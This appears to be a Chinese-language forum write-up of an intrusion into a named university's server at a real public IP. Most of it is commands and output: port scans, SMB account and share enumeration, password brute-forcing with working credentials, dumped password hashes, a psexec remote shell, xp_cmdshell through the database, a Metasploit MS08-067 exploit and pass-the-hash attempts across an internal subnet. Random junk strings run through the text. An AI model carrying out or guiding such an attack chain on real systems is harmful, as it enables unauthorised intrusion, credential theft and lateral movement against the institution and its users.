nmap+msf入侵广西师范

admin

广西师范网站http://202.103.242.241/
5 T5 h+ n7 u  d; N+ w
root@bt:~# nmap -sS -sV 202.103.242.241
+ O, p* x1 I2 r4 X1 s$ n
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST
. \( w& L+ E0 D2 n: Z: W3 k
8 g( U( K" D, v: t# Q8 ]Nmap scan report for bogon (202.103.242.241)

Host is up (0.00048s latency).
" ]& \9 n3 h3 u" k7 a
Not shown: 993 closed ports

* f/ L- y. f1 ]PORT     STATE SERVICE       VERSION
- Y7 \% W. U. P
0 [: S6 Q9 `9 Y+ S135/tcp  open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)

139/tcp  open  netbios-ssn

445/tcp  open  microsoft-ds  Microsoft Windows 2000 microsoft-ds
# O- {" S; C& S8 N
1025/tcp open  mstask        Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
1 X# b' i; ?" O. ]# l/ l
1026/tcp open  msrpc         Microsoft Windows RPC

6 ^0 e5 A7 Z; N4 g) N: ~3372/tcp open  msdtc?

6 P/ V% v. @3 s3389/tcp open  ms-term-serv?

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
& ~! `0 a* X, D, M  K2 Z, y3 L/ HSF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r

6 [" {8 U) k. L6 `" |4 N! KSFGetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions

% i) m" q; Z8 n9 \/ WSF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
0 t, i  n( V' d6 _; b
- f0 k  _) A: V+ _SF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO

: Z6 X- m( }" GSF:ptions,6,”hO\n\x000Z”);

) f; g" Y7 V7 AMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
7 _# U& O3 i( m. z
Service Info: OS: Windows
+ t# Z' c% r4 G$ X# e+ d
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

4 V# q8 g2 F: @7 r' v+ s, D% v, ]Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds

root@bt:/usr/local/share/nmap/scripts# ls -la | grep smb  //列出扫描脚本
4 [5 }  o3 D) B9 m* S
+ p  y" X; k$ j, I$ \-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse

6 p! ~2 _. I& j0 k1 @4 L  h/ j-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse
% f8 g% w. c# W7 x7 T
  Z0 m8 M  o# B( C' p-rw-r–r– 1 root root  4806 2011-07-09 07:36 smb-enum-domains.nse

-rw-r–r– 1 root root  3475 2011-07-09 07:36 smb-enum-groups.nse
, w! B# @. y6 O7 P1 l
-rw-r–r– 1 root root  7958 2011-07-09 07:36 smb-enum-processes.nse
, U6 `2 `' N5 ?, |% J# p
-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
9 d2 @/ F- s! |% Q. v
-rw-r–r– 1 root root  6014 2011-07-09 07:36 smb-enum-shares.nse
# A! P$ l0 A) C& d& ?0 o( @
-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
( x/ l. X0 A: ]% L* N, P. l7 x
-rw-r–r– 1 root root  1658 2011-07-09 07:36 smb-flood.nse

0 ^5 N* d  P. Y: `; h" B6 n' N. w-rw-r–r– 1 root root  2906 2011-07-09 07:36 smb-os-discovery.nse
7 `! y$ Z4 z4 v$ [
* I5 b$ s  f2 B, t-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse
. \: f* W: R4 X% _
-rw-r–r– 1 root root  4362 2011-07-09 07:36 smb-security-mode.nse

-rw-r–r– 1 root root  2311 2011-07-09 07:36 smb-server-stats.nse

; f* W! r" g9 v' ]& ~; l-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse
- i0 r- f. t6 d5 U
( A: y3 M9 E/ I# M. c-rw-r–r– 1 root root  1429 2011-07-09 07:36 smbv2-enabled.nse
1 F+ @' D" B7 ~7 |! I
" f6 i, j6 L. droot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241   
2 k& t; l4 L" n$ \
//此乃使用脚本扫描远程机器所存在的账户名

; f  D" N# B8 ]4 Z( C) C0 L  |Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
! n: |" Z3 h. s( q) e
Nmap scan report for bogon (202.103.242.241)
" o" n/ n1 F8 p8 q2 n
Host is up (0.00038s latency).

Not shown: 993 closed ports

4 k- W; r- k, W( fPORT     STATE SERVICE
- s9 ]/ h5 M. g$ ?. o& k2 d
135/tcp  open  msrpc
1 H4 n" X5 Z/ l( j; N2 J
0 S- D4 w7 x/ Q4 M( N# O; U. o139/tcp  open  netbios-ssn
" a" u- s4 P) A! X5 h. p/ ]
445/tcp  open  microsoft-ds

& }& m% P- V$ ?1025/tcp open  NFS-or-IIS

( e1 u9 L+ A3 {. s1026/tcp open  LSA-or-nterm

/ k5 Q. @' b1 N% P3372/tcp open  msdtc

; |$ t7 N  o2 {8 R; @* z3389/tcp open  ms-term-serv

4 l9 M' J* @2 ^MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:
  c1 M! _# r5 o1 u# ~- C+ K
| smb-enum-users:
4 o) c1 y1 ~* I1 l) ?
4 y6 t7 N* M1 V6 A2 b; a* ?& U|_  Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
4 P; C& X/ D2 {/ W$ B9 i
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds
+ m/ W' }) r' p5 i3 l
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241

//查看共享
4 Y* Q2 u7 v  T% x, F4 @
! W/ y& J0 F2 @) F6 j# |Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST

3 L' t& t, e! b- M3 L5 t% D' jNmap scan report for bogon (202.103.242.241)
9 C7 F9 _( L2 E7 I
Host is up (0.00035s latency).

$ q6 Q' r; C% |9 ]7 \Not shown: 993 closed ports

7 H) z5 o3 |, Q( g* uPORT     STATE SERVICE
/ O2 G% e% W' ]4 j. m, b0 W
135/tcp  open  msrpc

139/tcp  open  netbios-ssn
: X$ H8 U2 {0 n8 J: |! ^# N% x
445/tcp  open  microsoft-ds
; i( y2 h+ R: p9 G9 D( q/ e" y
$ f  _- i& m: S8 n, N. g+ F' j1025/tcp open  NFS-or-IIS
& j+ K. n) r" Q9 I* j8 j
. Y0 {/ t3 t. I1 O1026/tcp open  LSA-or-nterm

6 A; G: J  c4 ^. j3372/tcp open  msdtc

3389/tcp open  ms-term-serv

4 F5 H2 m* o2 fMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
9 i  N/ i& j5 V# A% j# |: O7 g  ?) u
! G0 o; _- h+ W1 O! iHost script results:

| smb-enum-shares:

: l  q2 ^1 O; w1 H0 Y' \9 y: b$ `" d; g|   ADMIN$

7 H; W, R& g, W! V6 O+ B|     Anonymous access: <none>

8 E7 B2 b. {! v, q' l  Z' a" c8 x2 F|   C$

# ~% b/ ~! X8 K|     Anonymous access: <none>
8 f; l- A! @7 d, Z' u' [
% f. Z* t; U; U|   IPC$

+ w, x: d9 e! X|_    Anonymous access: READ

Nmap done: 1 IP address (1 host up) scanned in 1.05 seconds

root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241      

//获取用户密码
* ^6 e* j" Y; l3 e2 `
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
0 L+ j' N1 X% C( S
" Y+ B" P' j8 R4 I2 c! n2 lNmap scan report for bogon (202.103.242.2418)
+ T/ d. }* Q/ g+ h( |( {
Host is up (0.00041s latency).
/ H6 m4 l$ i) K1 u
* X$ S  s7 ^3 W8 l# H1 }+ V$ ZNot shown: 993 closed ports
; W5 A1 L  F* \/ N  O1 t
- y4 A, G9 d, P% x* l7 Z' \PORT     STATE SERVICE
, A3 b: I/ l- Y' c( |( [& v
135/tcp  open  msrpc
' g  `- P6 F* N4 i
139/tcp  open  netbios-ssn
  ^6 h9 |9 Q8 b& u9 [& u. y1 q
445/tcp  open  microsoft-ds

" O, B  W; H1 N3 K5 u% o1025/tcp open  NFS-or-IIS

1026/tcp open  LSA-or-nterm
4 F# S; h7 [3 ~- S
3372/tcp open  msdtc

3389/tcp open  ms-term-serv
# i/ r( C3 C- U# N* k5 V# r
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

Host script results:

! v4 H" F7 S5 s  @/ M| smb-brute:

administrator:<blank> => Login was successful
. U4 s! ^3 t- h
|_  test:123456 => Login was successful
, J+ h* i% \! n5 A$ f$ t. a* t( O$ u
- `% q( W- F* ?! F+ YNmap done: 1 IP address (1 host up) scanned in 28.22 seconds
7 w& L; ]! n8 |/ k; Z
root@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash

root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data

9 r# H- W: A3 @) U% _2 B* F! yroot@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse
. B% U$ I% V9 I( ]/ f
& X: S. k9 V' E" R4 J1 u1 k* L  _root@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,139

Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST
5 |3 K; ?: N' {) w6 F% E- v
Nmap scan report for bogon (202.103.242.241)

0 _. q0 k; s3 D5 ^Host is up (0.0012s latency).
/ o; e8 t! G& Q9 T; W
PORT    STATE SERVICE

: k" ^1 n% X- I. K5 I& w. `- g135/tcp open  msrpc
! i, C! d( i5 l1 c3 b8 ]' U* W
139/tcp open  netbios-ssn

445/tcp open  microsoft-ds
. `( G. Y! G* s2 J* R8 i; k% ~) o
! D9 K' L" J- g9 s4 H& p' m$ WMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)

4 I+ n  E2 h- ]% `& EHost script results:
, M2 b1 j& w) z" Q# V
| smb-pwdump:
+ ?) e& d3 p! V) Q$ K; X! N* M% N4 F) V
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************

| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************
3 e7 Y8 k+ o9 c0 a: ]! f
9 r  h( u7 T* i8 K* h) j| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4
5 F0 L/ k2 w- x/ Z9 Y; I/ e
8 h) K5 t3 H# x( ?) S* c|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
1 y5 E$ @2 z3 B; y" ^1 `
Nmap done: 1 IP address (1 host up) scanned in 1.85 seconds
4 ]: _; p; c+ B! F2 p1 T8 u0 m, J. d6 r7 m
' h' D9 c8 b  U9 S& D7 w9 N+ p9 L7 EC:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241  -u test             //获取一个cmdshell

3 p" f8 I$ ^3 W, ~8 x3 T-p 123456 -e cmd.exe

PsExec v1.55 – Execute processes remotely

Copyright (C) 2001-2004 Mark Russinovich

Sysinternals – www.sysinternals.com
& l4 Q7 q, a. k2 Z; A: r  ^1 w8 V
Microsoft Windows 2000 [Version 5.00.2195]
7 x$ n1 l4 @, d0 I/ {
1 ?; u: y3 n. g(C) 版权所有 1985-2000 Microsoft Corp.
- E+ c, p' a8 X
6 _4 o: C" k9 J4 ]. S2 a* D9 aC:\WINNT\system32>ipconfig
. r! E, v8 @3 R6 f. G& p$ e5 Z
Windows 2000 IP Configuration
1 W4 n: _" o7 t) P6 \" ]) H7 \
$ P# x" o7 J- b" V+ }1 tEthernet adapter 本地连接:

Connection-specific DNS Suffix  . :
+ ~* C7 C, W5 A9 ]
  Z# H( v. L: RIP Address. . . . . . . . . . . . : 202.103.242.241

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 202.103.1.1
7 Q5 |8 {' c& j# x. D3 s
C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “   //远程登录sa执行命令

root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241     //检测目标机器漏洞
& t4 b* x- Z  F0 s3 [
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST

' B/ i' S* W7 E$ V+ d* L/ Z" w/ ^4 gNmap scan report for bogon (202.103.242.241)
1 e6 d. ?, X: d" A, {
Host is up (0.00046s latency).

Not shown: 993 closed ports
1 q5 s# \0 a, U$ }- e$ x
' C% j! I8 Z! m$ R! RPORT     STATE SERVICE

135/tcp  open  msrpc
/ ]2 e3 k  Q  Z. V3 m. N
; V+ O2 \2 L4 O( Z/ Q7 R. l139/tcp  open  netbios-ssn
& b8 t  Y/ ]% H0 R' C
445/tcp  open  microsoft-ds

( z2 V. w% ^) E  o# ]1025/tcp open  NFS-or-IIS
$ x8 _' h0 q* F( `
1 B) b! r; A9 g- O- v6 {7 ]1026/tcp open  LSA-or-nterm
" ]3 @# J5 h' K$ F
. C2 t5 j1 N* g- e9 ]3372/tcp open  msdtc

: W! r. @4 K% J/ }8 G3389/tcp open  ms-term-serv

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
1 K4 m" I8 x, w' J" O
& Y) k8 ?- n- a$ u: hHost script results:
2 f6 M. ]- I8 o% P
& \8 N, g% _7 r& q, M8 f| smb-check-vulns:

|_  MS08-067: VULNERABLE
- ~# A0 N* p- b+ C7 T3 {* }% ~9 U# j, X
Nmap done: 1 IP address (1 host up) scanned in 1.43 seconds

; h4 v" A% Q3 W: T2 Groot@bt:~# msfconsole                                             //在msf上利用ms08-067漏洞对目标机器进行溢出

msf > search ms08

msf > use exploit/windows/smb/ms08_067_netapi

msf  exploit(ms08_067_netapi) > show options
& y2 X6 t/ J0 d/ l% j3 \
7 O  n4 t7 {: I- h5 jmsf  exploit(ms08_067_netapi) > set RHOST 202.103.242.241

msf  exploit(ms08_067_netapi) > show payloads
& E. ~; o9 D: x$ i. V) v8 f* S1 S* t
/ P# i/ F, a# |7 `8 bmsf  exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp

6 t1 V' n8 Z' s2 Y7 I, v7 ?msf  exploit(ms08_067_netapi) > exploit
) \4 Q/ X/ G3 W) j1 g) P$ Y
meterpreter >

Background session 2? [y/N]  (ctrl+z)

5 ?" z+ _" N" @$ R- n: w  N5 tmsf  exploit(ms08_067_netapi) > sessions -l
4 p  ~$ \, ?5 ^$ P
root@bt:/usr/local/share/nmap/scripts# vim usernames.txt
/ K' C- J- a1 g# ~# U. U9 w8 }! k  P
test
, ]7 D# _# j; L7 F+ X( D9 Q
administrator
9 L2 b% p6 S7 a) K2 B/ Z
. f. B! J2 B% eroot@bt:/usr/local/share/nmap/scripts# vim password.txt

44EFCE164AB921CAAAD3B435B51404EE

% Z0 v! L+ f$ s3 Vroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254

//利用用户名跟获取的hash尝试对整段内网进行登录

+ h: e  S$ L' lNmap scan report for 192.168.1.105

0 k+ W0 A. W" _" Y1 T" V1 b: }Host is up (0.00088s latency).

Not shown: 993 closed ports

5 ?7 c, ?3 R# w  W. [. QPORT     STATE SERVICE
% n$ g/ f) m# Z. q4 ?$ V
' G* {' A* @; c5 ]0 t) A5 p; Y135/tcp  open  msrpc
6 H- c  g' u# v% Q
139/tcp  open  netbios-ssn
" d: X" `5 K) i$ N
5 b" K6 q8 D+ i+ X# t0 L445/tcp  open  microsoft-ds
; b  H+ O9 F8 T4 v+ ]3 A* x5 v6 T
) g( T1 s  B$ H1025/tcp open  NFS-or-IIS

/ H" F( v$ S5 @2 f& o: T4 H1026/tcp open  LSA-or-nterm
& M3 ~7 q& @" p! Y3 o$ g
* I  a) m  I4 E3372/tcp open  msdtc
! c+ c/ X: q1 d) y! \
3389/tcp open  ms-term-serv

MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
) t  y. l4 X# Q: ^
# X# }* {# i1 U% [Host script results:
) z0 O! t+ P; o: v
) R; A8 V& e8 R8 N0 d2 v1 {; Z| smb-brute:

( ^8 v& g7 |- H+ u2 Z: F|_  administrator:<blank> => Login was successful

  ~' }, U9 s3 g8 h% @# ^* G攻击成功，一个简单的msf+nmap攻击~~·
% g* f# }- `( q